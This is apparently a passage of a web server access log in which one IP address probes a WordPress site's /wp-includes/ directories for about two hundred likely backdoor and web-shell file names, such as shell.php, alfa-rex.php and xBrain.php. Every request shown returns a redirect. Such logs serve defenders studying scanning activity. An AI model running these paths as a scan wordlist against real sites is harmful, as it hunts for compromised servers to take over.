- - [19/Apr/2025:21:54:17 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:22 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:26 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:28 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:31 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:34 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:38 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:42 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:49 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:51 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:54:55 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:00 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:03 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:10 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:22 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:27 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:29 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:31 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:34 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:37 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:40 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:42 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:43 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:44 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:45 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:46 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:48 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:50 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:52 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:54 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:55:56 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:01 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:06 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:09 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:14 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:18 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:24 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:27 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:29 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:32 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:35 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:37 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:40 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:43 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:46 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:49 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:51 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:53 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:55 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:56:59 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:01 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:03 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:07 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:09 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:11 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:13 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:15 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:16 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:18 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:20 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:22 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:25 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:26 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:28 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:29 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:29 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:30 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:32 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:33 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:33 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:34 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:35 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:36 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:37 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:38 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:39 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:40 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:41 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:41 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:42 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:43 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:44 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:45 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:46 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:47 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:48 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:48 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:49 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:50 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:51 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:52 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:53 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:55 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:56 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:56 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:57 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:58 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:57:59 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:00 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:01 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:02 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:03 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:03 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:05 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:06 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:08 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:09 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:10 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:11 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:12 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:14 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:15 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:17 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:19 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:21 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:25 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:28 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:32 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:33 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:35 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:36 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:38 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:39 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:41 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:44 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:46 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:47 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:49 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:51 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:52 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:53 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:55 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:57 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:58 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:58:59 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:01 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:03 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:05 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:07 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:09 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:11 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:12 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:13 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:14 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:16 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:18 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:20 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:23 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:24 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:27 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:30 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:32 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:33 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:35 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:37 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:39 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:41 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:44 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:46 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:47 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:48 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:50 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:51 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:53 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:55 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:57 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:59:59 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:02 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:04 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:06 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:09 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:15 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:20 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:24 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:26 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:30 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:33 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:35 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:39 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:43 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:47 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:49 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:51 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:53 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:56 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:00:58 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:00 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:02 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:03 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:04 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:06 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:10 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:12 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:14 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:16 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:19 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:21 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:22 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:24 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:27 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:29 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:30 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:32 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:34 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:36 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:38 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:41 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:42 